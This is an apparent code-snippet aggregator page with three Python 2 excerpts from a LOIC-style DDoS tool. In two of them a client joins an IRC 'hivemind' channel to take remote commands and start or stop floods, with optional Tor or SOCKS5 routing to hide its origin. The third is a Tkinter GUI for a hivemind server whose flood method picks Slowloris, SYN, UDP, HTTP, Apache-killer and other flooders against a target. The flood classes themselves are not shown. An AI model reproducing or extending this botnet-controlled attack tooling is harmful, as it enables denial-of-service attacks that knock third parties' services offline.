Esempio n. 1
0
def main(args):
    global irc, flooder

    listener = Listener(LAZER_RECV, lazerParseHook)
    getEventManager().addListener(listener)
    listener = Listener(START_LAZER, lazerStartHook)
    getEventManager().addListener(listener)
    listener = Listener(IRC_RESTART, restartIRCHook)
    getEventManager().addListener(listener)

    try:
        host = args[1]
        port = int(args[2])
        channel = args[3]
    except:
        print "usage: pyloic <hivemind irc server> <irc port> <irc channel>"
        sys.exit()
    if channel[0] != "#":
        channel = "#" + channel

    getEventManager().start()

    irc = IRC(host, port, channel)

    while running:
        try:
            i = raw_input()
            if i.find("connect") == 0:
                info = i.split(" ")
                print info
                if len(info) == 4 and info[2].isdigit():
                    newhost = info[1]
                    newport = int(info[2])
                    newchannel = info[3].replace("\\", "")
                    if newhost == host and newport == port and irc.connected:
                        print "changing channel to", newchannel
                        irc.changeChannel(newchannel)
                        channel = newchannel
                    else:
                        host = newhost
                        port = newport
                        channel = newchannel
                        print "changing host to", host, port, channel
                        irc.disconnect()
                        irc.host = host
                        irc.port = port
                        irc.channel = channel
                        irc.connect()
                else:
                    print "not enough info. connect server port channel"
            elif i == "stopflood":
                if flooder:
                    flooder.stop()
            elif i == "startflood":
                if flooder:
                    flooder.start()
            elif i == "floodcount":
                if flooder:
                    print flooder.floodCount()
            elif i == "quit" or i == "exit":
                irc.disconnect()
                if flooder:
                    flooder.stop()
                getEventManager().stop()
                break
        except KeyboardInterrupt:
            irc.disconnect()
            if flooder:
                flooder.stop()
            getEventManager().stop()
            break

    time.sleep(1)
    sys.exit()
Esempio n. 2
0
def main(args):
    global irc, flooder, socks5ip, socks5port

    getEventManager().addListener(LAZER_RECV, lazerParseHook)
    getEventManager().addListener(START_LAZER, lazerStartHook)
    getEventManager().addListener(IRC_RESTART, restartIRCHook)

    try:
        host = args[1]
        port = int(args[2])
        channel = args[3]
        if len(args[4:]):
            try:
                opts, argv = getopt.getopt(args[4:], "ts:", ["tor","socks5="])
            except getopt.GetoptError:
                print "Usage: python main.py <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]"
                sys.exit()

            for o, a in opts:
                if o in ("-t", "--tor"):
                    socks5ip = "127.0.0.1"
                    socks5port = 9050
                elif o in ("-s", "--socks5"):
                    socks5 = a.split(':')
                    socks5ip = socket.gethostbyname(socks5[0])
                    socks5port = int(socks5[1])

    except (ValueError, IndexError):
        print "Usage: python main.py <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]"
        sys.exit()

    if channel[0] != '#':
        channel = '#' + channel

    getEventManager().start()

    irc = IRC(host, port, channel)

    while running:
        try:
            i = raw_input()
            if i.find("connect") == 0:
                info = i.split(" ")
                print info
                if len(info) == 4 and info[2].isdigit():
                    newhost = info[1]
                    newport = int(info[2])
                    newchannel = info[3].replace("\\", "")
                    if newhost == host and newport == port and irc.connected:
                        print "changing channel to", newchannel
                        irc.changeChannel(newchannel)
                        channel = newchannel
                    else:
                        host = newhost
                        port = newport
                        channel = newchannel
                        print "changing host to", host, port, channel
                        irc.disconnect()
                        irc.host = host
                        irc.port = port
                        irc.channel = channel
                        irc.connect()
                else:
                    print "not enough info. connect server port channel"
            elif i == "stopflood":
                if flooder:
                    flooder.stop()
            elif i == "startflood":
                if flooder:
                    flooder.start()
            elif i == "floodcount":
                if flooder:
                    print flooder.floodCount()
            elif i == "quit" or i == "exit":
                irc.disconnect()
                if flooder:
                    flooder.stop()
                getEventManager().stop()
                break
        except KeyboardInterrupt:
            irc.disconnect()
            if flooder:
                flooder.stop()
            getEventManager().stop()
            break

    time.sleep(1)
    sys.exit()
Esempio n. 3
0
class GUI:

	def __init__(self,root):
		self.root = root
		root.protocol("WM_DELETE_WINDOW", self._quit)
		root.title('cannonymous')
		frame = Frame(self.root)
		Label(frame,text='LOIC2 Hivemind Server').pack(side=TOP)
		frame.pack()
		self.label = Label(frame,text="Offline")
		self.label.pack(side=BOTTOM)
		getEventManager().addListener(IRC_EVENT,self._on_irc_event)
		getEventManager().addListener(ERR,self._on_error)
		buttonQuit = Button(frame,text="Connect",command=self._do_connect)
		buttonQuit.pack(side=BOTTOM)

		_frame = Frame(frame)
		ircServLabel = Label(_frame,text="Server: ")
		ircServLabel.pack(side=TOP)
		ircPortLabel = Label(_frame,text="Port: ")
		ircPortLabel.pack(side=TOP)
		ircChanLabel = Label(_frame,text="Channel: ")
		ircChanLabel.pack(side=TOP)
		_frame.pack(side=LEFT)

		_frame = Frame(frame)
		self.ircServ = Entry(_frame)
		self.ircServ.pack(side=TOP)
		self.ircPort = Entry(_frame)
		self.ircPort.pack(side=TOP)
		self.ircChan = Entry(_frame)
		self.ircChan.pack(side=TOP)
		_frame.pack(side=LEFT)
		self.irc = None
		getEventManager().start()


	def _do_connect(self):
		host = self.ircServ.get().strip()
		if len(host) == 0:
			getEventManager().signalEvent(Event(ERR,"Invalid Server"))
			return
		port = None
		try:
			port = int(self.ircPort.get().strip())
		except:
			getEventManager().signalEvent(Event(ERR,"Invalid Port"))
			return
		channel = self.ircChan.get().strip()
		if len(channel) == 0:
			getEventManager().signalEvent(Event(ERR,"Channel Needed"))
			return
 		if channel[0] != '#':
			getEventManager().signalEvent(Event(ERR,"Invalid Channel"))
			return
		if self.irc:
			Thread(target=self.irc.disconnect,args=()).start()

		self.irc = IRC(host,port,channel)
		Thread(target=self.irc.connect,args=()).start()
	
		

	def _quit(self):
		self._on_exit()
		self.root.destroy()

	def _on_irc_event(self,event):
		self.label['fg'] = 'black'
		self.label['text'] = event

	def _on_error(self,event):
		self.label['fg'] = 'red'
		self.label['text'] = event

	def mainloop(self):
		self.root.mainloop()

	def _on_exit(self):
		if self.irc:
			self.label['text'] = 'Disconnecting...'
			self.irc.disconnect()
		getEventManager().stop()

	def _do_flood(target,port,floodtype="http"):
		if self.flooder:
			self.flooder.stop()
			self.flooder = None
		if floodtype == 'apache':
			self.flooder = KillApache()
		elif floodtype == 'slowloris':
			self.flooder = SlowLoris()
		elif floodtype == 'http':
			self.flooder = HTTP()
		elif floodtype == 'udp':
			self.flooder = UDP()
		elif floodtype == 'syn':
			self.flooder = SYN()
		elif floodtype == 'tcp':
			self.flooder = TCP()
		elif floodtype == 'smtp':
			self.flooder = SMTP()

	
		if self.flooder:
			self.flooder.target = (target,port)
			self.flooder.start()	
		else:
			getEventManager().signalEvent(Event(ERR,'Invalid Flooder Type: %s'%floodtype))